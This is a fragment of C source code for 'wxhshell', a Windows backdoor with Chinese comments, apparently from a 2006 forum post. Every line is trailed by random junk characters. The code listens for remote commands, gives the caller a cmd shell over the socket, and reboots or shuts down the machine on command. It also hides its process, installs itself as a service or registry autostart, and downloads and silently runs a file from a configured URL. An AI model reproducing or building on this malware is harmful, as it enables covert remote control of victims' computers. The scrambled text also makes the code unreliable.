  else { hvGD`  
31~nay15  
    switch(cmd[0]) { Gp{,v  
  RfOJUz  
  // 帮助 -&COI-P8  
  case '?': { XEnu0 gr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W=#AfPi$&  
    break; }v's>Ae~p  
  } 2Rt6)hgY  
  // 安装 Khb Ku0Z  
  case 'i': { AhD C5ue=  
    if(Install()) jU $G<G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sH.=Faos  
    else _jc_(;KPF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V)5K/ U{  
    break; rlaeqG  
    } W6Mq:?+D  
  // 卸载 '4nJ*Xa  
  case 'r': { D#AqZS>B  
    if(Uninstall()) Q~tXT_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m8=n`XI  
    else ?=ffv]v|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J#48c'  
    break; ,3!$mQL=  
    } *E*oWb]H  
  // 显示 wxhshell 所在路径 {zWR)o .=  
  case 'p': { 9b/Dswxjx  
    char svExeFile[MAX_PATH]; ESNI$[`  
    strcpy(svExeFile,"\n\r"); @ 5^nrB  
      strcat(svExeFile,ExeFile); a}uYv:  
        send(wsh,svExeFile,strlen(svExeFile),0); hLbWqF  
    break; (Vr%4Z8  
    } %@Z;;5L  
  // 重启 FpiTQC7d  
  case 'b': { > 1(J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hJ$9Hb  
    if(Boot(REBOOT)) M+0PEf.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \n t~K}a  
    else { )q[P&f(h  
    closesocket(wsh); {9yf0n  
    ExitThread(0); BY.k.]/  
    } e{7\pQK  
    break; Bb:C^CHIQm  
    } qa-FLUkIk!  
  // 关机 r=&,2meo  
  case 'd': { 4 s ax  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'w27Lt'V  
    if(Boot(SHUTDOWN)) KW(a@X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +i!5<nn  
    else { wS);KLe3  
    closesocket(wsh); CVW T >M<  
    ExitThread(0); +rJ6DZ  
    } ."H;bfcL_  
    break; ~L"$(^/  
    } $'%GB $.  
  // 获取shell ] \M+ju  
  case 's': { @uH!n~QV  
    CmdShell(wsh); y-db CYMc  
    closesocket(wsh); c7jmzo  
    ExitThread(0); >;^/B R=  
    break; (Kwqa"Hk4{  
  } ~g\~x  
  // 退出 rNR7}o~qo  
  case 'x': { &yvvea]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F)(^c  
    CloseIt(wsh); gLB(A\yG  
    break; |ZL?Pqki  
    } u MEM7$o  
  // 离开 vY-CXWC7  
  case 'q': { \ dFE.4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0k5-S~_\  
    closesocket(wsh); @^<odmM  
    WSACleanup(); \y5lYb,*c_  
    exit(1); HbegdbTJ  
    break; !1G KpL  
        } W!wof- 1  
  } J(l\VvK  
  } KGYbPty}  
?1D!%jfi  
  // 提示信息 B S*79heY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ ]s^M=8  
} N<9 c/V  
  } y)fMVD"(  
7a1o#O  
  return;  yf:Vhr  
} /[<F f  
2ZY$/  
// shell模块句柄 &em~+83  
int CmdShell(SOCKET sock) W;Y^(f  
{ :$$~$P  
STARTUPINFO si; nbF<K?  
ZeroMemory(&si,sizeof(si)); }6@E3z]AMO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hBjU(}\3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t,?, T~#9  
PROCESS_INFORMATION ProcessInfo; ]~aj  
char cmdline[]="cmd"; 1ysfpX{=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sfyLG3$/  
  return 0; LN|(Z*  
} He(65ciT<O  
Jy)=TJ!y  
// 自身启动模式 w'K7$F51  
int StartFromService(void) CefFUqo4  
{ TQ]gvi |m  
typedef struct +@QrGY  
{ gx.\H3y  
  DWORD ExitStatus; In1W/ ?  
  DWORD PebBaseAddress; ENZym  
  DWORD AffinityMask; c!ZZMC s  
  DWORD BasePriority; k( :Bl  
  ULONG UniqueProcessId; 6G2~'zqPc~  
  ULONG InheritedFromUniqueProcessId; < D/K[mz-  
}   PROCESS_BASIC_INFORMATION; >qo!#vJc a  
?6CLUu|7n  
PROCNTQSIP NtQueryInformationProcess; R iLl\S#  
'#7k9\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QPVi& *8_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N4vcd=uG#  
EB}B75)x  
  HANDLE             hProcess; h$&Tg_/'#D  
  PROCESS_BASIC_INFORMATION pbi; CP J21^  
;k!.ey $S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kk8wlC  
  if(NULL == hInst ) return 0; 8"j$=T6;W  
c["1t1G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6Qkjr</  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,^([aK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pG#tMec  
_ LHbP=B  
  if (!NtQueryInformationProcess) return 0; f)*?Ji|5F  
G'\[dwD,u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5p#0K@`n/  
  if(!hProcess) return 0; ESCN/ocV  
[c3!xHt5O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Y)&[aj  
}_nBegv  
  CloseHandle(hProcess); mD9Iao%4~  
|Q /LC0?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .b,\.0N  
if(hProcess==NULL) return 0; JKZVd`fF  
G`!,>n 3  
HMODULE hMod; j2D!=PK;  
char procName[255]; v WXo#  
unsigned long cbNeeded; th{f|fm62  
G3_7e A#;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tg\Nm7I  
GrLxERf  
  CloseHandle(hProcess); y~+LzDV  
sWlxt qg  
if(strstr(procName,"services")) return 1; // 以服务启动 t{] 6GlW  
d~aTjf  
  return 0; // 注册表启动 ArtY;.cg%  
} 0eA <nK  
hoFgs9  
// 主模块 }!iopu  
int StartWxhshell(LPSTR lpCmdLine) MLV]+H[mt  
{ U2A-ub>7  
  SOCKET wsl; ec!e  
BOOL val=TRUE; TB>_#+:  
  int port=0; aH"d~Y^  
  struct sockaddr_in door; #`_W?-%^  
i3)3. WK^  
  if(wscfg.ws_autoins) Install(); jwk+&S  
8XH;<z<oJ  
port=atoi(lpCmdLine); =8l' [  
k M /:n  
if(port<=0) port=wscfg.ws_port; 0kUhz\"R:q  
&`m.]RV  
  WSADATA data; 'l/l]26rO4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u0wu\  
j EbmW*   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1|p\rHGd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <sC(a7i1  
  door.sin_family = AF_INET; fQ9af)d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )zWu\ JRp  
  door.sin_port = htons(port); (Mfqzy  
\Q#pu;Y*N]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^6 l5@#)w  
closesocket(wsl); usc/DQ1  
return 1; Z2W&_(^.h  
} {Vu=qNx  
/uWUQ#9  
  if(listen(wsl,2) == INVALID_SOCKET) { U9]&KNx  
closesocket(wsl); iX?j"=!  
return 1; gX!K%qJBg  
} 5i6Ji(  
  Wxhshell(wsl); OkRb3}  
  WSACleanup(); 2po8n _  
EZWWv L  
return 0; Ls2,+yo]>  
/[Nkk)8-  
} "I=Lbh-`  
I_B%F#X)  
// 以NT服务方式启动 @u+LF]MY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m<n+1  
{ s3Bo'hGxG  
DWORD   status = 0; `V/kM0A5  
  DWORD   specificError = 0xfffffff; x<t ?Yc9  
67/@J)z0%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PdKcDKJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; */{y%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c:=HN-*vQ  
  serviceStatus.dwWin32ExitCode     = 0; R UCUEo63  
  serviceStatus.dwServiceSpecificExitCode = 0; =?CIC%6m  
  serviceStatus.dwCheckPoint       = 0; .P8m%$'N  
  serviceStatus.dwWaitHint       = 0; Y3|_&\ v6  
Oh}52=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }G(#jOYk  
  if (hServiceStatusHandle==0) return; `$"{-  
9F3aT'3#!  
status = GetLastError(); =8vwaJ  
  if (status!=NO_ERROR) O4nA ?bA  
{ fm#7}Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D8k >f ]  
    serviceStatus.dwCheckPoint       = 0; uaD+G:{ [  
    serviceStatus.dwWaitHint       = 0; aAcQmq TT  
    serviceStatus.dwWin32ExitCode     = status; s|WcJV  
    serviceStatus.dwServiceSpecificExitCode = specificError; QfjoHeG7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]@_|A, ]  
    return; hAgrs[OFj  
  } Z{u]qI{l  
`m V(:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bz:En'2>F  
  serviceStatus.dwCheckPoint       = 0; DFwiBB6  
  serviceStatus.dwWaitHint       = 0; r{~b4~kAf5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b 2\J<Nw  
} eLH=PDdO  
A _7I0^  
// 处理NT服务事件,比如:启动、停止 G=e'H-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Ml#,kU<T  
{ ,H|K3nh  
switch(fdwControl) pw))9~XU  
{ v%#@.D!)  
case SERVICE_CONTROL_STOP: )"Ujx`]4r  
  serviceStatus.dwWin32ExitCode = 0; f !7fz~&Sh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,jnaa(n  
  serviceStatus.dwCheckPoint   = 0; V%*91t_  
  serviceStatus.dwWaitHint     = 0; r{* Qsaw  
  {  zW?=^bE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~- aUw}U  
  } 2*W|s7cc  
  return; uKY1AC__  
case SERVICE_CONTROL_PAUSE: {h|kx/4{m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CT\rx>[J.6  
  break; s4Jy96<  
case SERVICE_CONTROL_CONTINUE: W T @XHwt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4U$M0 =  
  break; OHY|< &*  
case SERVICE_CONTROL_INTERROGATE: \"I418T K  
  break; 9qq6P!  
}; 0W 1bZPM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,-n_( U  
} e[Z-&'  
[IyC}lSW^-  
// 标准应用程序主函数 aYtW!+#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K=4|GZ~p}`  
{ B%x?VOdBE  
,=pn}\ R  
// 获取操作系统版本 2L.6!THG  
OsIsNt=GetOsVer(); y`z?lmV)xM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X~*/ ~f  
iDCQqj`  
  // 从命令行安装 zGL.+@  
  if(strpbrk(lpCmdLine,"iI")) Install(); oh:.iL}j  
Nbf >Y  
  // 下载执行文件 v/7^v}[<  
if(wscfg.ws_downexe) { fDXTedrG/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e ?Jgk$"  
  WinExec(wscfg.ws_filenam,SW_HIDE); d_[ zt)  
} &?j\=%  
#|V)>")  
if(!OsIsNt) { F${}n1D  
// 如果时win9x,隐藏进程并且设置为注册表启动 SJ,];mC0  
HideProc(); R-k~\vCW  
StartWxhshell(lpCmdLine); vgn,ZcX  
} z  +c8G  
else "?_ af  
  if(StartFromService()) Q{ g{  
  // 以服务方式启动 eS%8WmCV9<  
  StartServiceCtrlDispatcher(DispatchTable); ;wHyX)&X $  
else a!j{A?7Kw.  
  // 普通方式启动 Z0 c|;  
  StartWxhshell(lpCmdLine); ;b|=osyT\  
n "I{aJ]K  
return 0; PmE 8O  
}
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只看该作者 1 发表于: 2006-10-10
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